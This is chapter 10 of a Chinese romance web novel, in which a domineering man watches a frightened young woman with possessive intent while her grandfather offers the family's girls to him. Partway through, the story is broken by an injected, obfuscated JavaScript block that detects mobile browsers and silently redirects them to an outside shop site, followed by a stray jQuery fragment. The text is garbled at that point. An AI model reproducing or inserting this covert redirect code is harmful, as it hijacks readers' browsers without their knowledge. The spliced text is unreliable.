文趣网 > 其他小说 > 请停止诱哄沉欢 > 10. 第 10 章
    依山而建的山庄规模宏大却也格外空旷冷清,白色的高墙建筑高低错落被绿植环绕,穿着相同制服的佣人们在不同的岗位各司其职,彼此都安静的不说话,华丽的山庄处处透着阴森,仿佛一个巨大的囚笼困住了里面的所有人。

    山庄的男主人有早起晨练的习惯,雷打不动的作息时间,佣人们也会在同一时间按部就班地开始一天重复枯燥的工作。

    今天却意外延迟了半个小时。

    裴宴亓垂眸,漆瞳沉沉凝望着怀里的小人。

    空气一时无声,纪侑宁和他对视半响,她眨了眨眼突然反应过来,猛地挣开他的手要自己站直,“对,对不起,裴先生。”

    她很爱说对不起。

    裴宴亓确认她能够站稳才松开她的手,手上的重量忽而消失,空落落的,他碾了碾余留的体温,语调冷淡:“你为什么在这。”

    裴宴亓锐利的视线紧紧锁在纪侑宁身上,他总觉得他的猫认路,会出现在各种他意想不到的地方。

    也许下一次她会主动撞进他怀里,祈求他的庇护,这么想着,覆盖在心底的乌云阴影缓慢散去,阴沉的心情突而转晴,他很期待那一天。

    “裴先生……”

    纪侑宁被他惊的心跳巨快,但更多的是心虚,她低下头身体连连往后推。

    裴先生本来就不喜欢她,但她还是出现在他面前,还误打误撞窥见了他的秘密,她会不会被杀人灭口。

    她咬了下唇,声音小得快要听不清,“对不起裴先生,我不是故意走进这里,实在是迷路了,您放心,我不会把您的秘密说出去的。”

    大殿宽阔,却在裴宴亓出现后她总觉得密闭得快要窒息,在他面前她总是不自在。

    裴宴亓眯了眯眼,音色沉沉,“秘密?”

    大殿内视线昏暗,这样的目光在此刻让她感到无比的害怕,像条毒蛇在她身上爬行,缠绕,在打量着,用什么样的方向,角度将她全部吞下,然后塞进肚子里,慢慢品尝。

    裴宴亓一双眼掠过那幅巨画,再看着眼前这个害怕到不敢呼吸的小东西。

    原来是害怕这个。

    他挑了挑眉尾,骨节分明的手慢条斯理地转了转指上的板戒,只一幅就怕成这样,裴宴亓饶有兴致地看着她,他很期待这间画室的全貌被她完全收进眼底的模样。

    那双清透的双眼含满了泪水,那一定很可怜,他会把她抱在怀里,听着她含糊不清地指责,然后亲吻她,把她吃下去,在一屋子的她面前,他的小猫是多么的乖巧,一定不会推开他。

    纪侑宁颤颤巍巍点头,“是,我不会,不会说出去的。”

    她的声音很小很轻,像幼猫来的陌生的环境,怕惹怒了他,会被赶出去。

    裴宴亓轻笑,“当然,我相信你。”

    纪侑宁嘴唇翕动,觉得今天的裴宴亓格外的好说话,她攥着衣角不想再留在这里,“那我,我先回去了,谢谢您。”

    昨晚发生的一切还历历在目,她已经想明白,裴宴亓不是她能招惹的,这样高高在上的大人物她只配远观,轻易接近他,只会引火烧身,她还想活着,不想做那扑火的飞蛾,只要她老实本分待在自己的位置上,她的生活就还能照旧。

    这么多年都是这么过来的,纪侑宁低着头,用力攥了攥拳。

    只要她不挡纪闵月的路,她就不会被欺负,纪闵月日子舒畅了自然就不会想起她,她的日子就还能过下去。

    或许等她嫁进裴家的那一天,她就自由了……

    裴宴亓垂眸注视着她,深深看了几秒,最终什么也没说,“纪小姐自便。”

    他怎么会不知道她在想什么,不过,怕是要让她失望了。

    黑沉的瞳孔在背后凝视着少女,裴宴亓笑了,他很抱歉昨天吓到了他的小猫,他早该想到的,小猫胆小不惊吓,她还受伤了,如果可以,真想把她抱在怀里,亲吻她的泪水,将他的气息留在她瘦小的身体里。

    他的小猫,只能留在他身边,缩在他怀里,满心满眼,手上身体里都必须将他装满。

    裴宴亓面色转冷,唇角勾着冷笑,他拇指摩挲着食指,至于别的什么,他会亲手将他们掐死在欲望里。

    纪侑宁轻轻呼出一口气,在离开裴宴亓的视线后,她才真正感到放松,那样滚烫的皮肤在刚才紧紧贴着她,像饮了烈酒,将她醉的晕头转向,只差一点她又会被他迷惑,生出坏心思。

    他不会喜欢自己的,她连一件像样的,属于自己的裙子都拿不出来,身上穿着的还是纪闵月不要的,纪闵月说的没错,她只是个土包子,和乡下的野女放一起。

    她们没差。

    那样望尘莫及的男人,心爱的妻子也只会是长久滋养在优越的环境里教养出来的大家闺秀,是像裴媛清那样优雅聪慧的女子,而不是她这样。

    纪侑宁扯了下唇,纪闵月那样的人又怎么会配得上他。

    她坐在原位。对纪闵月投来质问的目光视若无睹,她想的出神,只觉得他是高洁的明月,任何人都配不上他。

    就在这时,裴宴亓走了进来,他长腿径直迈向沙发,目光不着痕迹地扫过乖巧坐在沙发上的女孩,谨小慎微的模样连大气都不敢喘一个,他黑瞳眸色一暗,周遭的气息都变得冷淡许多。

    “昨夜事发突然,离开的匆忙没向您辞行,还请老爷子见谅。”裴宴亓缓缓落座,脊背依靠背椅,手肘随意搭在扶手上,话里说着抱歉,脸上却半分愧意没有,平淡的敷衍,只是做了表面的礼数。

    纪韩世又怎么会看不出来,他恭维道:“怎么会宴亓,应该是我向你道歉才是,手下的人手脚不干净将上不了排面的手段舞到你面前,好在宴亓平安无事,不然我这老脸都不知道往哪搁。”

    男人一言不发地坐在沙发上,身上穿着的不是裁剪有致的西装三件套,而是一身浅灰色的暗纹针织家居服,柔和的面料泛着哑光,整个人矜贵懒散,虽然没有正装的压迫强势,却不失不容冒犯的威严。

    随着他落座,佣人将茶水端上来,并给他们添新。

    纪韩世看着再度盈满的茶杯,曼松古树,顶级名品,一饼天价难求,就连他平时建交都不舍得拿出来的好茶此时却被裴家用来会客,但他现在没有品茶的好心情:“我知道你一向不喜被人算计,几个老婆子从小看着阿月长大,都把她当亲闺女疼,这不,一心急就办了坏事。”纪韩世朝纪闵月递去视线,“今天来就是为了向你道歉的,”

    “我把人都带来了,任你处置,阿月,过来,向裴先生道歉。”

    他们离茕南商会就是一只脚的距离,辛苦周转了这么久,他不可能让纪家在此永远止步。

    纪闵月做了一路的心理准备,纪韩世话落的瞬间她就慌乱着立马开口:“对,对不起,裴先生,是我不知天……高地厚冒犯了您,还请您不要怪罪,我不会了……以后都不会了。”

    让她在纪侑宁面前向别人低头,还是自己的未婚夫婿,她心里恶狠狠的给她记上一笔。

    她不明白爷爷为什么还要带她来,他明明知道今天的局面对她不利,她的处境一定不好看,为什么还要让她来!

    纪闵月两只手攥紧拳,如果她敢说出去,她会弄死她,她一定会弄死她的……

    纪侑宁果然很意外,她长睫颤了颤向纪闵月看去,这个高高在上的大小姐,在她所大肆宣扬的未婚夫面前,刻意放低姿态,表现的是那么的顺从讨好,寻求接纳。

    原来都是假的吗?

    那些传闻中的恩爱登对,亲密无间,情投意合,原来都是假的。

    纪侑宁扯了扯唇,眼里尽是讥讽。

    纪大小姐也要靠谄媚一个她仰慕的男人才能得到别人的尊重,敬仰。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768007|209801||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>而在这个男人面前,于柳英甚至连说话都要等到允许,她多么想为女儿开口,但唯恐他不悦,害怕她静心筹划的一切付之东流。

    她收回视线笑话自己天真,笑话自己竟然想要勾引他,想取而代之。

    他这样的人,连纪家都惹不起,又怎么是她能轻易接近的呢。

    山庄气派沉敛,如它的主人一样庄严而疏离,裴宴亓未言一字一语,手指在扶手上毫无规律地轻敲,没有任何反应,他静静地看着纪闵月的方向,目光却落在纪侑宁身上。

    小姑娘因为诧异忘了遮掩自己眼里的幸灾乐祸,那双明亮的眸子终于闪出了光,仿佛恢复了生机。

    裴宴亓眸色深暗,她该明白,谁才能真正护的住她。

    不见裴宴亓反应,场子再冷,纪韩世都要开口,纪家和裴家的关系不能断,茕南商会这条路说什么他都要走下去。

    维持关系最好的方法,无非就是联姻,场面话说的差不多了,自然而然的就要绕到维持关系的联姻上。

    真正有着雄厚实力的大家族都免不了一场联姻,只有切不断的纽带,彼此才能永久绑在一起。

    经过昨晚的事,如果他心有芥蒂,他可以换个孩子先在他身边培养感情。

    只要都是他纪家的人。

    “就当个小猫小狗在身边养着,无聊了就打趣解闷,阿月不会介意的,左右都是姐妹,纪家的孩子都很乖巧听话,不会惹了您不悦。”纪韩世说的脸不红心不跳,要把家里的女孩都推出去,做情人也好,做床伴也罢,说的如此明目张胆,这个犯错就把另一个推上来,这是无论怎么样都不想放过裴家这棵大树。

    送一个进来还不够,外面还想没名没分跟着一个,纪韩世算盘打的响亮。

    纪侑宁却听的满脸不可思议,她抬起头,他不肯放过联姻这条路,所以还要把她也给赔进去吗?

    纪闵月做错事,凭什么要她承担后果,她能想象到男人阴森的脸,他会误会她的吧……

    让他觉得自己昨晚就是得了纪韩世的默许上来勾引他,想成为他的情妇,成为他的床/伴。

    也许他刚才对她好是觉得误解她了,但纪韩世的话却彻底将她钉死在耻辱板上,再也抬不起头。

    他也会后悔吗?后悔刚才对她好脾气没有立马将她赶出大殿。

    他因为纪韩世的话会误解她一辈子的吧……

    一辈子都觉得她是一个试图爬上他的床,不知廉耻的女孩。

    裴宴亓双腿交叠,将纪侑宁转瞬即逝的震惊,不解,忧伤都看在眼里,他想起这双眸子里盛满了泪水,质问他为什么,乖孩子心被扎了千疮百孔也依然对那些伤害过她的人抱有幻想。

    是他没保护好她。

    裴宴亓冷淡扫过纪韩世,还是印象中的这副模样,为达目的不择手段,就连自己的亲孙女都会牺牲,他冷着脸抬了抬眸,“老先生把我当什么人了?上赶着给我送女人。”

    空气一下骤冷了几分,纪韩世赶忙解释,“宴亓我不是这个意思,纪家的姑娘对你无不青睐,能跟在你身边是她们的幸事。”

    裴宴亓笑了笑,幽深的黑瞳深不见底,他摩挲着茶杯静静凝视着纪韩世,“纪老放宽心,昨夜的事我并没有放在心上,我答应你的事依然作数。”

    没答应他的新提议,也没反驳。

    纪韩世这才露出笑颜,紧绷的神经终于放松,他伸手将桌上凉透了的贡茶一饮而尽,对上纪闵月充满怨念的小脸。

    他视若无睹,转头慈祥的对着纪侑宁开口,脸上却尽是警告,“侑宁,还不向裴先生打声招呼。”

    裴宴亓眯了眯眼,看向对面忐忑不安的女孩,他坐着,却依旧居高临下地在审视她,宛若赤裸地站在她面前,不着一物,像个物品被迫屈辱地摆在他面前。

    毫不意外的,眼里盈满了泪光。